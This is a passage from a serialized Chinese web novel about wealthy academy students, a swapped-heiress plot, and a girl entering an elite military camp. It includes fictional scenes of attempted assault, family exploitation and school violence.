关鹤挂了电话,从车头跳了下来,“这么大火,谁惹他了?” 周围的狗腿纷纷拥簇上前,“阿鹤哥,阿珩哥怎么说?” 关鹤没个好脸,“他说个屁!别管他了,我们先溜一圈。” 年轻男女们尖叫着响应。 关鹤在正要上车,之前为难苏韵的女生小心翼翼走上前。 “鹤哥,那个苏韵跟茅坑里的石头一样又臭又硬,本来我们有机会说服她的,但苏妙突然横插一脚,最后让她给跑了。” “苏妙。”关鹤摸了摸眉毛,“这事跟她有什么关系?” 女生摇头,“没听说两个人有交集,但苏妙说有什么事找她。” 关鹤嗤了一声,“她还真闲” 女生有些为难,“鹤哥,这事怎么办?” 关鹤单手撑着车顶,脑海中不觉又浮现出少女惊慌失措的无助模样。 周宴珩这段时间不知道发什么疯,忽然提出换车,关鹤开着觊觎已久的黑武士在各大弯区游窜。 前两日他刚出学校闸口,忽然出现一个女生,吓得他紧急刹车。女生虽然没有受伤,但也吓得不轻。 关鹤气的火冒三丈,下车一把揪住女生的衣襟,可还没等他撒火,女生就吓的缩了起来,怯怯看着他。 就这一眼,差点没把关鹤的心挠坏,没想到竟然让他撞了一个天仙,那张脸漂亮的让他一下有了感觉。 女生反应过来一把推开他,等关鹤回过神时人已经不见了,但万幸现场遗落了一张铭牌。 苏韵。 一想到那天相遇的画面,关鹤就有些情不自禁。 “什么怎么办?她不是缺钱吗?给钱啊!我就不信了,这年头还有人不爱钱?” 若是以前盯上的猎物,有苏妙插手,关鹤也乐得卖个人情。他们只是爱玩,又不是非谁不可。 但这次情况不同,关鹤从看见苏韵的第一眼就想睡,这种带有指向性的欲望还是第一次,所以他也就懒得管什么苏妙还是沈妙了。 女生瞬间明白了关鹤的意思,点头,“知道了,鹤哥。” * 逼仄阴暗的小巷,唯一的一盏路灯也因为年久失修时断时续。 苏韵将书包抱在怀里,目光警惕看着四周。 滋滋的电流声让黑夜变得格外可怕,她踩着地上的影子,一个人在深渊里摸索。 这时,身后传来急促的脚步声。 苏韵的心扑通跳了一下,想也没想拔腿就跑,但身后那道影子却突然像鬼魅一样加速,一把从背后抱住了她。 “可算让我逮着你了!” 一股浓烈刺鼻的烟味和汗臭味扑面而来,苏妙差点晕了过去。 男人捂着她的嘴把人拖进角落,原本打算把人带回出租屋好好享受一番,可软玉在怀哪还控制的住? “你给我老实一点,我告诉你,我可是付过钱了。” 苏韵被推上墙,哭着求饶,“我学生,不卖身的,你认错人了!” 身后的男人急不可待抽下皮带,“错不了,你那死老娘倒是会做生意,收了我两千块还想把你送给赵爷玩,他手底下那些都是亡命之徒,等他们玩高兴了还有老子的份?老子可不傻!” 男人*了一把,淫笑着掀开遮住膝盖的百褶裙。 苏韵闭上眼,趁着男人压下的瞬间,拿出藏在袖子里的小型辣椒水,对着男人的眼睛喷上去的同时一脚踹向下体。 “啊!” 男人一声惨叫,一手捂着眼睛,一手捂着裆。 苏韵顾不得身上狼狈,捡起地上的书包拔腿就跑,刚跑出一米远又忽然停下脚步。 不行! 不能就这么放过他,否则总有一天她会遭到毒手。 迟疑了一秒,苏韵松开了书包,转头捡起路边的大石块。 男人嘶声惨叫,疼的腰身都弯成了弓。模糊间,他感觉有一团黑影在靠近,男人咬牙,凭着感觉四处摸索,“小贱人!你给老子等着,等我抓到你看我怎么弄死你!臭B……” 苏韵极力克制住心中的害怕,把心一横举着石块对着男人的脸砸了下去。 “啊!!!” 男人应声倒下,浑身抽搐,刺鼻的血腥味在漆黑的小巷蔓延开来。 苏韵眼尾猩红,泪水夺眶而出,虽然怕,但她还是强逼自己面对,转身举起一块更大的石头走向男人…… * 从巷口出来,是一片破旧的棚户区,灯火零星,麻将声夹杂着对骂式的交谈络绎不绝。 苏韵快步穿过弄堂,从生锈的铁窗下拿出钥匙片,开门进了屋。 “刚刚过去那个是不是你闺女?瞧着好像被人欺负了。” 苏莉回头看了一眼,见屋里亮着弱灯立马站起身,“不打了。” “诶诶!怎么着,赢钱就不打了?以前你输钱的时候,闺女发烧在家里躺三天也没见你搭理的!” 苏莉摆摆手,“下次下次。”说着,转头出了麻将馆。 倒不是她有多关心苏韵,她早知道李老头那老不死的就蹲在巷口,她故意睁一只眼闭一只眼,心想着:反正这丫头最后的结果就那样,要是被李老头玩了第一次她还可以再敲笔竹杠。 棚户区的条件艰苦,苏莉因为好赌没什么积蓄,只租了一套单间,苏韵的房间都是原来的煤房改造出来的。 苏莉轻声进屋,卫生间亮着灯,时不时传来水流的哗啦声。 回家就洗澡? 苏莉故意用力敲门,“不是让你以后在学校洗澡吗?燃气费不要钱吗?” 水花立马停了下来,苏韵的声音又哑又抖,“我马上就好。” “不行,立马给我出来,谁让你开灯洗澡的?!” 隔着门板听了一会儿没动静,苏莉态度更加恶劣,“我说话听见没有?让你出来!” 话音一落,卫生间的门从里面打开,苏韵披了一件单薄的外套,头发还滴着水。 苏莉盯着苏韵,“脸怎么回事?在学校跟人打架了?” 苏韵身子抖了抖,低头想走,苏莉一把拽住她。 “你站住,说!是不是做了什么见不得人的事?” 苏韵忽地崩溃,“我没有。我刚刚回来的时候遇到了一个变态,他想欺负我。” 果然是那个老李头,苏莉暗喜,嗓音都提了起来,“你让他得逞了?” “没有……”苏韵摇头否认,“后来又来了一群人把变态揍了一顿,还说什么我是赵爷定下的人,说他不知死活。” 赵爷? 赵肆? 苏莉心情就跟坐云霄飞车一下落到了谷地。 完了完了!难不成赵肆已经知道她阳奉阴违,一女多卖了? 一想到赵肆的手段,苏莉脸都白了几分,“后来呢?” 苏韵只是不停地摇头,“我不知道,我害怕,趁他们没注意就跑了,那个变态被他们带走了。” 苏莉心知李老板只怕是凶多吉少,不耐推了苏韵一把,“你还傻站在这做什么?扫把星!赶紧给我滚回屋!” 苏韵默默擦干眼泪,披着挂水的湿发躲回了房间。 赵肆怎么会派人找过来?难不成他发现什么了? 苏莉越想越害怕,左右看了看,偷偷溜出了门,不管怎么样,必须先安抚好赵肆。 她心里有了主意,立马拨通了电话。 那边过了好一会儿才接的,“你他妈最好是有要紧事,不然老子弄死你。” 苏莉故意夹着声音,“哎呀,我哪知道这么凑巧,这不一有情况我就来汇报了?” “什么情况?” 苏莉,“苏妙刚刚给我回信息了,说愿意配合我们,但她有一个条件,那就是苏韵永远都不能回到苏家。” 这其实是苏莉的私心,苏妙是她亲生女儿,又有把柄在她手上,只要她坐稳苏家千金的位置,她这个妈妈也会连带受益。 相反,这些年她对苏韵刻薄狠毒,如果苏韵认回自己的身份,只怕第一个遭殃的就是她。 现在赵肆怀疑她,她必须拿出点诚意,想来想去只有赶快卖了苏韵才能既表忠又维护了自己的利益。 赵肆,“既然如此,咱们的计划也可以提上日程了。这件事务必办好,办砸了我和你都得没命。” “赵哥放心。” 苏莉挂了电话,悬着得心终于舒坦了。危机解除,她转头往屋里看了一眼,见煤房灯是暗的,权衡再三还是没忍住,又冲进了麻将馆。 而… 不起眼的角落,苏韵双手抱着膝盖把自己蜷缩成小小的一块。 她喃喃自语,“苏韵永远都不能回到苏家…” 原来,她真的不是苏莉的孩子… 她的人生真的被人窃取了。 …… 第299章 番号:313 菊园。 姜花衫泡完热水澡出来,仰头栽进温软的被窝,刚闭上眼手机就震了一下。 她随手点开信息。 【我的命好苦:报价,我要办会员。】 姜花衫坐起身,张口就来。 【关你peaCe:出场费10万一次,附加项目:代吵、代打、代癫加10万、出谋划策50万、出谋加执行100万。】 她想了想,又加了一条。 【关你peaCe:逆天改命:一口价1000万。】 等了一会儿,苏妙没有回应,姜花衫跳下床,趿拉着乌龟拖鞋走进书房,随手拎着一袋文件再次回到卧室。 这袋资料正是徐文佩之前扔掉的。 虽说偷看人家的隐私不好,但姜花衫自认不是什么好人,也就没什么心理负担。 她倒要看看,周绮珊到底做了什么?能把徐文佩气成那样? 解开封条,里面有一沓厚厚的资料,其中一张申请表吸引了姜花衫所有的注意。 《313女子预备营入征申请表》 申请理由:建功立业,保家卫国。 姜花衫心头一震,周绮珊真的太出乎她的意料了。 313在A国寓意着战无不胜,全营可战,哪怕是军营里的炊事员都是一级功勋的老功臣。 女子营就更了不起了,近代还出一个举世闻名的七星上将。 313每三年面向全国征兵,通过考试后,年满十六周岁可先入预备营,两年后根据营考成绩分配工作岗位。 但不管是什么岗位,只要入了313,那就是未来军委处的预备干部。 沈兰晞的父亲,沈玺,就是313的首席指挥官,任满三年直升鲸港军委司令。 周家以周绮珊是女儿之身打压她,她却生出了更硬的反骨,选了一条连周家男儿都走不出的功勋之路。 因为只要入了313那就是跟国家签下了的生死状,313全营烈士,如沈玺这般的人物最终也逃不过以身殉国。 姜花衫不觉气上心头,这样的人,剧目竟然让她死在一群流匪的淫辱之下,简直丧尽天良! 从这份资料透露的情况来看,周绮珊已经通过了313的入征考试,不过因为她的身份特殊,军队需要她出示一份家族举荐信信。 周家在A国的势力不容小觑,周绮珊又是周国潮的直系亲属,若没有这份举荐信,313将取消她的入营资格。 所以,上一世周绮珊就是败在这里? 姜花衫权衡片刻,趿拉着乌龟拖鞋冲出了绣楼。 * “邦邦邦——” “沈兰晞!!!” 沈兰晞正坐在书房开视频会议,冷不丁听见院外传来姜花衫的声音,权衡片刻调低音量,“诸位叔伯继续,我先出去一下。” 随即,他站起身目光淡淡看向高止,“你又偷她龟蜜了?” 高止正要去开门,听了这话懒得动了,“我没有,不是我,肯定是少爷你。” 沈兰晞面上神情淡淡,但脑子已经开始飞速运转。 难不成因为今天放学没等她? 不对! 她明明给他发了不用等的通知单。 “邦邦邦——” “沈兰晞!!你开门啊!我知道你在里面!赶紧开门。” “少爷。”高止‘好心’指了指门口,“你再不去开门,等你想到什么原因也没用了。” 沈兰晞:“你去。” 高止双手交叉,“达咩!姜小姐可是指名道姓让你去开门。” “……” 院门的震动越来越响,沈兰晞捏了捏眉心,抬步走向前院,稍稍停顿了一下才鼓起勇气。 “……” 门缓缓打开。 只见姜花衫一个华丽的转身窜到沈兰晞面前,眼睛扑闪扑闪。 “兰晞哥~~这么晚打扰你真是不好意思,没吵到你吧?” 沈兰晞,“……” …… 第300章 发现、秘密 陡然出现的笑脸让沈兰晞猝不及防,为免失态,他只能先战术性后退。 姜花衫脸上的笑容僵硬了一秒,随即又露出更灿烂的微笑。 “怎么啦?你在忙啊?我打扰你了吗?” “……”沈兰晞摇头,“没有,你找我有事?” 高止默默看着视频里被暂停的会议,这些老头终究是错付了,君王已经色令智昏。 “嗯嗯。”姜花衫点头,双手合十,态度空前友好,“兰晞哥,我有件很重要的事想拜托你。” 沈兰晞一时有些不适应,转身往书房走去,走到一半忽然意识到什么,表情寡淡,“进来吧。” 还是这么不近人情?姜花衫有些笑不下去了。 沈兰晞先一步进入书房,没有丝毫犹豫退出了视频会议。 姜花衫在落地窗前探头看了看,沈兰晞全程面无表情,这高冷的模样让她一下没有了求助欲。 她转身想走,但又放不下周绮珊的宿命,最终咬了咬牙,抬步走进书房。 书房的一角连接着的池塘,窗下摆着一张花梨罗汉床,姜花衫自顾自坐上榻,再次露出礼貌而不是尴尬的微笑,“兰晞哥,我现在可以说了吗?” 沈兰晞抬眸,目光霎时失神了几秒。 不知怎么,脑子里忽然闪过一帧画面,窗下,鱼闹莲动,春光无限。 他淡淡垂眸,微红的指尖无意识摩挲着两侧扶手。 姜花衫故作天真,“兰晞哥,你怎么了?是不是哪里不舒服?要不要叫孟医生过来看看?” 沈兰晞摇头,语调平静,“说吧,什么事?” 就这态度还说什么说? 姜花衫心里无数次打起了退堂鼓,可来都来了,不争取一下也不是她的做派。 算了,死马当活马医吧。 她收敛了笑容,将怀里的文件放在小案几上。 “兰晞哥,你是不是跟313的上将们关系很好啊?” 沈兰晞眼睑轻抬,似是没想到姜花衫会问这样的问题,片刻后,他点头,“有些渊源,怎么了?” “如果用你的名义写封举荐信,应该会很管用吧?” 沈兰晞深深看了她一眼,低头喝茶,“管用。” 这回换姜花衫愣住了,依照她的了解,沈兰晞一定会反问她打的什么主意?有什么目的?一旦察觉到她想走后门甚至可能还会板着脸教训她。 但是…… 怎么和想象的不一样啊? 沈兰晞见她不接话,主动开口,“想帮朋友要举荐信?” 姜花衫眼睛一亮,用力点头,“嗯嗯。她真的很努力,我不想她因为一道门槛被刷下去。” 通过入伍考试后只有两种情况需要举荐信,一是身份显赫,二是直系亲属有犯罪记录。 竟然为了这个朋友求到他面前来,看来这个人对她很重要。 沈兰晞眸光黯了几分,指尖点了点桌面,“有些事不是光努力就有用的,我需要先看看他的资料。” “行!”姜花衫二话不说拿着资料凑上前,满脸殷勤,“你看过就知道了,她真的很好,天底下再找不出第二个。” 沈兰晞冷着脸,一言不发接过资料,“你先坐好。” 姜花衫权当没听见,又凑前了一点,“你快看。” 突如其来的近距离接触,让沈兰晞方寸大乱,他竭力控制住指尖的颤抖,让自己看上去处变不惊。 若无其事打开资料,若无其事查阅信息。 蓦地,沈兰晞眼神一动,嘴角不自觉勾了勾。 “周绮珊?” 姜花衫以为沈兰晞顾虑周家,连忙解释,“你放心,我来的时候就想好了,这件事要是周家追究起来你就说是我偷了你印章私盖的,只要爷爷和你不知情,周家顶多把这件事当成小孩子之间的义气,不会上升到家族矛盾。” 沈兰晞将文件里的资料翻看了一遍,抬眸打量姜花衫,“你想帮她?” 姜花衫点头。 沈兰晞思忖片刻说道,“你有没有想过?举荐信只是其中一道门槛,就算你这次帮她跨过了,后面还有无数道等着她。别的不说,入征通知令下来,周家若是强行干预,周绮珊一样走不了。” “不会!我相信周绮珊,只要这道槛跨过去了,剩下的她一定会克服。如果她连周家都走不出,她就不是周绮珊。” 见沈兰晞不说话,姜花衫把心一横,双手拉住他的手,“兰晞哥,你帮帮她吧,就算我求你。” 沈兰晞眼皮跳了跳,掌心的温度让他觉得自己下一刻就要烧起来了,他想甩开,但又舍不得拒绝被她依赖的感觉。 “兰晞哥?” 沈兰晞闭眼,“好。” * 从兰园出来的时候,姜花衫还有些难以置信? 她竟然三言两语就让沈兰晞破了例?! 313是沈玺的直系,没有人比沈兰晞更看中313的荣誉。 上一世沈庄对沈兰晞的规划便是重走沈玺的荣耀之路,所以沈兰晞对于313的一切都是慎之又慎,今天他愿意替周绮珊写举荐信已经算是破天荒了。 不管怎么样,周绮珊的这步危机算是解决了,至于她能不能打破宿命,就看她的决心到底有多大了。 姜花衫伸着懒腰,刚踏进菊园,手机忽然连续震动。 肯定是苏妙那个小垃圾来照顾生意了。 姜花衫没多想,点开手机,蓦地神情一愣。 【暴富宝到账一千万元。】 【我的命好苦:一千万已付,我要阿珊穿衣自由。】 【我的命好苦:这条消息不用回。】 “……” 姜花衫关掉手机,转身上绣楼。 如她们这样的贵女看着不愁吃喝,但要拿出一千万的现金并没有想象中的那么简单,这么大的流水,家里必然是要查的。 张茹听见动静,立马从房间走了出来,“姜小姐,还出去吗,不出去我就落锁了。” 就在这时。 久违的电子音响起。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99%】 姜花衫脚步一顿。 “锁吧。” * 第301章:暗涌 有那么一瞬间,苏妙觉得眼前的世界一点都不真实。 脑海里的画面一帧一帧闪过,苏韵被胁迫时的无助,还有看着她时的小心翼翼…… 女生见苏妙对着手里的申请书发呆,恭恭敬敬递上书包,“苏小姐。” 苏妙接过书包,将手里的申请书折好放回原处。 女生刚松了一口气,苏妙眼神骤变,狠狠踹向女生腿,女生不防膝盖前倾跪倒在地。 周围的人嬉笑的人都愣住了,之前帮着女生一起霸凌的小团体立马围了上来。 “我看你们谁敢扶?” 苏妙的身份摆在这,这一声威胁还是很有力度,霎时围观的人都往后退了一步。 带头女生捂着腿,一脸错愣看着苏韵,“苏小姐,我也是听关……” 苏妙不听,拿着书包对着女生的肩膀砸了过去,“关鹤算个屁,我警告你,再让我看见一次,我会让你从这个学校消失。你如果不敢得罪关鹤,可以试试得罪我。” 一时间,整个公共区鸦雀无声。 “怎么了?” 就在这时,周宴珩领着一群人走进VIP区。 苏妙弯腰捡起书包,正要说话,目光一怔。 苏韵站在周宴珩身后,低着头想看她又不敢对视。 被打的女生瞬间有了底气,起身跑到周宴珩身边哭诉,“周少爷。” 周宴珩皱了皱眉,身边的男生立马把人拉开。 苏妙情绪有些复杂,“阿珩哥,这个人是我朋友,你叫她们别为难她。” 周宴珩眉梢微挑,回头看了苏韵一眼,想也没想,“好。走吧。” 没等苏韵反应过来,苏妙直接穿过人群,一把拽着苏韵再次将她带离人群。 直到步入拐角,苏韵才慢慢抬头,目光幽深看向人群里的周宴珩。 这次把人带出来,苏妙的脾气明显好了很多,生怕苏韵又遇上什么麻烦,她甚至主动提出一起回教室。 苏韵受宠若惊,感动的快要哭出来了,“苏小姐,你人真的好好。” 苏妙有些不自在,含糊应了一声又开始认真打量起身边的女生。 眼下的苏韵,眼镜摘了,头发也弄乱了,看着很狼狈,但实际反而还原了被遮掩的美貌。 “你长得很漂亮,除了姜花衫,你算是我见过最好看的女生了。” 苏韵不好意思低下头,“我哪能跟姜小姐比?” 育才的女生谁不想成为姜花衫,又漂亮又有人宠,不管捅下天大的篓子都有人兜底。 苏妙没有回话,如果没有阴差阳错,她现在应该不会比姜花衫差。 美貌单出是死局,但如果有身份权势加持,就是王炸组合,看姜花衫就知道了。此刻的苏妙完全没有意识到,她对姜花衫的认可已经在不知不觉中形成潜意识了。 苏韵小心看了苏妙一眼,“那个,对不起啊?我是不是说错话了?” 苏妙摇头,“没有。”说完又顿了顿,刻意放缓了语调,“你不用这么紧张。” 苏韵“苏小姐,你这真是个好人,跟他们都不一样。” “他们?”苏妙皱眉,“那些人总是欺负你吗?” 苏韵抿嘴笑了笑,“没事,我都习惯了。” 苏妙脚步一顿,拉开苏韵身后的书包,随手拿出一只笔,拉过她的手在她的掌心写下一串数字。 “这是我的联系方式,你如果遇上什么困难,随时联系我,什么时候都可以。” 苏韵愣了愣,垂眸看着掌心的一串数字,轻声,“好。” * 彼时,姜花衫正趴在教室外的走廊前望风。 苏韵和苏妙就站在两栋楼的花坛间,一个握着对方的掌心,一个注视着对方眼睛。 “苏妙是不是有病啊,怎么跟德才的低贱人走的这么近。” 傅潇潇带着一群人从过道走过,瞥到楼下的风景眼露鄙夷。 姜花衫转头看着她。 傅潇潇不甘示弱,迎上姜花衫的目光,“怎么?我说的有错吗?你也就是命好被沈家收养,不然你比那边的低贱人还不如。” 姜花衫点了点头,一把拽着傅潇潇的头发,顶膝踢脸。 “啊!!”傅潇潇一声惨叫,还没反应过来就被KO了。 周围的人惊地倒吸了一口凉气,看向姜花衫的眼神满是敬畏。 以前动手之前她还打招呼,现在零帧起手,这里可是学校啊!大家都看着,这也太疯了?对方可是傅家大小姐! “啊啊啊!”傅潇潇捂着鼻子,两管鲜血直流,“姜花衫,我要杀了你!!!” “这样啊?”姜花衫面带微笑,眼里暗涌深了几分,“老天保佑,你最好能确保能一击即中。” 午休时间结束。 姜花衫重新回到教室,苏妙和苏韵以两栋大楼的花园为界,一个回到了肆意张扬的英才楼,一个回到了克制沉默的育才楼。 * 放学铃响,学生群涌而出。 苏韵坐在座位上整理课业,赵棠一边收拾桌面一边打量好友,等人走的差不多后轻轻推了推苏韵的胳膊。 “阿韵,你和苏妙是怎么回事啊?我看见她抓着你的手,她是不是在为难你?” 苏韵想了想,“没有。苏小姐人挺好的,她还说有什么困难可以找她。” 赵棠皱眉,“她们这种千金大小姐哪会真的在意我们的死活,阿韵,你可别当真。” 苏韵拍了拍赵棠的手,“你别这么说,我觉得苏小姐挺真诚的。” 赵棠轻叹了一声,“你啊,就是太善良了,总把别人想的这么好。” 苏韵笑了笑,没有接话。 赵棠看了她一眼,委屈巴巴拉了拉苏韵的衣角,“阿韵,教会给了任务,下周日必须要拉一个新人了解教义,我实在找不到人,你能不能帮我去充个数啊?” 苏韵有些为难,“阿棠,我对教会实在是……” “我明白。”赵棠立马接过话,“我知道你没有兴趣,但这是就是帮我完成任务的,如果拉不到人我这个学期的奖学金可能就没有了。我也没有别的朋友,拜托你了!求求了!” 苏韵拗不过,只好勉为其难点头,“好吧。” “你同意了?”赵棠一脸惊喜抱着苏韵的胳膊,“阿韵,谢谢你,你真是太好了,真是帮了我大忙。” 苏韵问好时间,收拾东西准备回家,但看赵棠没有要走的意思,略有不解,“不走吗?” 赵棠扭捏站起身,“今晚艺术楼有狂欢,所以……” 苏韵看着她,眼里满是不赞同,“你和那个关鹤……” 赵棠连忙解释,“跟他没关系,我心里明白,人家大少爷怎么会把我放在眼里。不过,我已经收了邀请函,如果不去会很麻烦的。” 苏韵点头,“那你晚上回去的时候小心点,小巷的灯坏了,不太安全。” “知道了。” 两人笑着道别,赵棠目送着苏韵出了教室。 顷刻间,赵棠嘴角的笑容慢慢凝固,从口袋里掏出手机。 【韩神父,我已经找到愿意献身的莲女了。】 …… 第302章:当前在逃+1 时间转瞬即逝,很快就到了沈庄出访S国的时间。 沈园上下忙进忙出,除了沈谦和沈归灵,其余沈家都到齐。 这次S国之行,不仅要解决南湾事件,还得对白峥的死有交代,为了和谈顺利充分,两国安排了足足半个月的交涉。 沈庄自从半隐退后嫌少离港这么久,他深知家里大的没一个靠谱的,为免出什么篓子,耳提面命一个一个警告,教训完大的又教育小的,沈兰晞、姜花衫、沈眠枝一个都没有逃过。 梅园。 顾赫正在替沈清予收拾出国的行李。 “少爷,听说S国比A国还冷,我给您备了几套暖和的外套,还有这围巾,下飞机的时候一定记得戴。” 沈清予翘着二郎腿,盯着天花板发呆。 顾赫心绪复杂,从他回来后少爷就一直在梅园躺着,跟他说什么都不搭理,早知道催情药会让他们主仆离心,打死他也不敢跟顾老太太说少爷想女人了。 为了重新赢回沈清予的心,顾赫使出浑身解数,殷勤备至,“少爷,这是我给您收藏的出片大合集,这次出访备受两国关注,少爷您长的这么帅,肯定会引起轰动的。” 还是不理。 顾赫心急如焚,四处看了看,打开玻璃展示柜,“少爷金贵,S国的东西只怕用不习惯,随身用品我都给您带着,护手霜也带着。” 话音刚落,床上的人蹭的一下跳下床,没等顾赫反应手里的护手霜就不见了。 “谁让你碰的?” 沈清予仿佛抓了一个烫手山芋,想也没想直接把护手霜丢出了窗外。 扔完沉默了几秒,双手插兜出了房间。 顾赫一脸懵逼,回过神后立马追了出去,刚走进庭院人再次懵逼。 “少爷……” 十一月冬,正是中华木绣球花期正繁盛的时刻。 硕果累累的白绿绣球下,少年弯腰捡起被丢弃的心结,小心翼翼藏了起来。 别人不许碰。 他也不碰。 * “清予了?那小子去哪了?都要出发了怎么还没见到人?” 絮絮叨叨一上午就过去了,沈庄说的口干舌燥,这才发现少了一个人, 沈执,“清予少爷已经上车了。” 沈庄愣了愣?不解看向对面三人,“你们谁又惹他了?” 自从赢了比赛,沈清予就怪怪的,几乎宅在梅园寸步不离,以前还没到家,油门声在山下就听见了,现在,他心爱的黑色之声停在车库都快发霉了也没见他看一眼。 现在倒好,出个远门连道别都不露面。 沈眠枝摇头,“我已经好久没见过清予哥了。” 姜花衫摊手,“不是我,上次还是他推的我。” 沈兰晞淡淡喝了一口茶,“爷爷不用紧张,或许……是赢了比赛的后遗症。” 这么说,还是他惹的? 沈庄表情瞬间变得微妙,轻咳了一声站起身,“行了!爷爷给你们说的都记下了?” “记下了。”三人异口同声。 沈庄重重拍了拍沈兰晞的肩膀,“爷爷出门了,记得照顾好弟弟妹妹。” “爷爷放心。” 沈庄又转头看向沈眠枝,“绥尔那边,替爷爷多费心。” 沈眠枝点头,“爷爷放心。” 最后,沈庄将目光停留在姜花衫身上,眼神包容宠溺,“你要的东西已经送到菊园了,还是那句话,别伤着自己。” 姜花衫笑了笑,“爷爷放心。” * 沈庄走后的两天,风平浪静,直到第三天…… 周家管事按照每天惯例去信箱取件,在过滤垃圾信息时忽然发现一封印着特殊军章文件袋,管事脸色微变,快步走回主楼。 一个小时后。 主厅传来女人的啼哭声。 周绮珊穿着睡衣跪在大厅中间,徐文佩情绪激动对着她又打又骂,“你是不是疯了!啊?313是什么地方,再厉害的权贵进去了也只剩白骨,你一个女孩子做什么不好?去投军?” 巴掌声一声比一声响。 周太太不忍心,上前拉开徐文佩,轻声安抚,“有什么话好好说,爸还在这,你这是做什么?” 徐文佩如梦初醒,趴在沙发上痛哭了起来。 周国潮一言不发,逐字逐句翻看着手里的文件,等看完最后一个标点,仍旧没有任何情绪。 “入征申请是你投的?” 周绮珊掩眸,“是。” “撒谎!”徐文佩大怒,指着周绮珊,“那些东西我明明已经扔掉了,你怎么可能寄的出去?说!到底是谁怂恿了你?” 周绮珊抬头,迎上徐文佩的目光,“这就是我自己的意愿,没有人怂恿。” “你个孽女!”徐文佩怒不可遏,拿着桌上水杯对着周绮珊砸了过去。 周绮珊木着脸侧过身体,水杯砸空,一声巨响在大厅回荡。 “你竟然还敢躲?”徐文佩暴跳如雷,起身准备动手,不想一杯热茶迎面泼了上来。 徐文佩这才反应过来,眼神惊恐看向周国潮,“爸,我……” 周国潮,“老大媳妇,把老三媳妇先带下去。” 周太太连忙上前搀扶徐文佩,“走吧。” 徐文佩不敢违抗,连连点头。 闲杂人等退散后,周国潮将手里的文件甩在地上,“沈兰晞的举荐信?沈家帮你寄的?” 沈家? 周绮珊很明显愣住了。 周国潮见她不似作假,眼露疑惑,“连你都不知道?” 周绮珊低头没有接话。 她的确不知道,她以为是苏妙。因为只有苏妙知道徐文佩拿走什么,所以当录取书摆在眼前时,她第一个想到的就是苏妙。 周国潮闭了闭眼,“不愿意回答?好,第二问题,你打算怎么办?你应该知道,就算313的录取单送到家里来了,只要我一句话,这张录取单就没有任何意义。” 周绮珊豁然睁眼,与周国潮迎面对撞,“爷爷您也想逼死我吗?” 周国潮愣了愣,这是他有生以来为数不多的失神,“你觉得我不让你去就是要逼死你?” “是!”周绮珊眼眶微红。 周国潮摇头,“你不明白战争有多恐怖。” 周绮珊,“我明白。但都不及被人视为异类来的恐怖。” 周国潮叹了口气,“爷爷知道你有心结,但你未必要走这么决绝的路,周家树冠已成,即便你投身伍行也不能改变什么。” 周绮珊,“起码我能改变我自己。” “爷爷,你那么喜欢看戏,那么喜欢戏折子里的大英雄,为什么就不能让我尽兴演一次呢?” 她声音哽咽,双手贴着额头对着眼前的老人俯身叩拜。 三叩首,“求爷爷成全。” 周国潮语调平静,“一旦你走出这个门,周家不会给你任何支持,你就算是死也只能死在外面。” 周绮珊闭眼,泪水湿了脸,“谢爷爷成全。” 【叮——】 【剧目当前在逃人物+1:沈眠枝、周绮珊】 【警告:当前主线剧情偏离18%。】 【警告:主线偏离90%,剧目世界将毁于一旦。】 …… 第303章 朋友的信 电子提示音响起的同时,姜花衫正好扣下扳机。 ‘砰——’的一声枪响,子弹穿过枪靶命中七环。 姜花衫取下护目镜,盯着手里的银色手枪。 “在逃人物周绮珊?” 果然,只要拦下第一道坎,剩下的路,周绮珊一定能靠自己走出来。 【自卑、敏感、坚韧、无畏、诚信。】 她们五个人中,只有周绮珊一次拥有三个正向标签,这说明相对而言她的行为是最容易改变的。 牢笼已破,如果周绮珊撑能过去,两年后的鲸港‘屠杀门’事件说不定就会有转机。 之前她那么努力才让剧目偏离10%,而周绮珊的轨迹改变一下就偏离18%,看来她之前的猜想果然没有错,她们五个人之间真的存在某种因果联系。 也就是说光她一个人努力是远远不够的,只有她们五根绳拧成一股劲,五只蝴蝶同时扇动翅膀,才能掀起惊涛骇浪撕了这该死剧目! 傅绥尔已经自由,轨迹改变是迟早的事,而沈眠枝的标签只剩一个岌岌可危的【恋爱脑】,暂时找不到剧情突破。 所以…… 只剩苏妙了。 当前剧情是真假千金,如果苏妙的选择还和上一世一样,她的悲剧将会重新上演。 正想着,手机忽然发出爆炸式震动,这么轰炸,不用想也知道是谁的消息。 【我的命好苦:!!!!!!】 【我的命好苦:天才!姜花衫,你他娘的真是个天才!!!】 【我的命好苦:你真的做到了!!!姗姗被313录取了!!周家同意她参军了!!!!】 【我的命好苦:vOCal!你真的太牛了!!!】 姜花衫扯了扯嘴角,苏妙上哪学的这些破梗? 她十分高冷回道: 【关你peaCe:银货两讫。】 * 周绮珊入征,对周家来说并非什么光荣的事。 因为大族家的女孩就算从军,一般都会入军政学院,通过学院修学分的形式考编入伍,而且基本都是后勤类的非战斗职位。 而周绮珊不同,她入的是313预备营,等同于用自己的血肉之躯换取荣耀,这种激进的方式对现在的周家来说,无异于当街鬻粥补贴家用。 入征令只有一天时间,313规定收到录取通知书的第二天就要赶往南湾登南海舰入营。 周家对周绮珊的决定深恶痛绝,临行前也有苏妙一个人到场。 两人在港口相依看海。 海面平生波浪,周绮珊心中感概万千,“妙妙,我可能要离开很长一段时间,你一定要好好照顾自己。” 她背弃了家族意愿,哪怕休假也不可能回来。 所以,这次离别,归期不定。 苏妙红着眼睛,却还在笑,“放心吧,我你还不知道?等你走了我马上就去交新的朋友,肯定不会无聊的。” 周绮珊跟着笑了起来,“好。等我回来介绍我认识。” 苏妙点头,将身后的背包取下递给周绮珊,“拿着。” 周绮珊看着她。 “看着我做什么?拿着啊?我早猜到那些黑心肝不会给你送行,我准备了好久,你不能不要。” “谢谢。”周绮珊声音哽咽,双手接过背包。 “滴——” 海面传来阵阵船笛。 长长的海岸线,无边无际的海面,灰蒙蒙的天,组成了当前离别的剧目。 周绮珊随着人群登舰,不时回头朝苏妙招手,“回去吧。” 苏妙笑了笑,藏在眼底的泪终于落了下来。 * 海面的夜格外平静,海上的月亮也格外温柔。 周绮珊看着窗台上的月霜,享受着这一刻的自由。 同寝的女生洗浴出来,犹豫片刻主动上前搭话,“你是想家了吗?” 周绮珊愣了愣,转头看向女生。 女生很友好,从行李里拿出几罐酱菜,“这是我妈妈给我做的,说要是想家了就吃点?你要吃吗?可香了。” 周绮珊摇头,“不了,谢谢。” 女生没有勉强,将几罐酱菜摆好放在床头。 周绮珊转头看向床头的背包,心思微动。 背包很大,里面塞满了衣服、鞋子、洗漱用品,甚至还有很多高级零食。 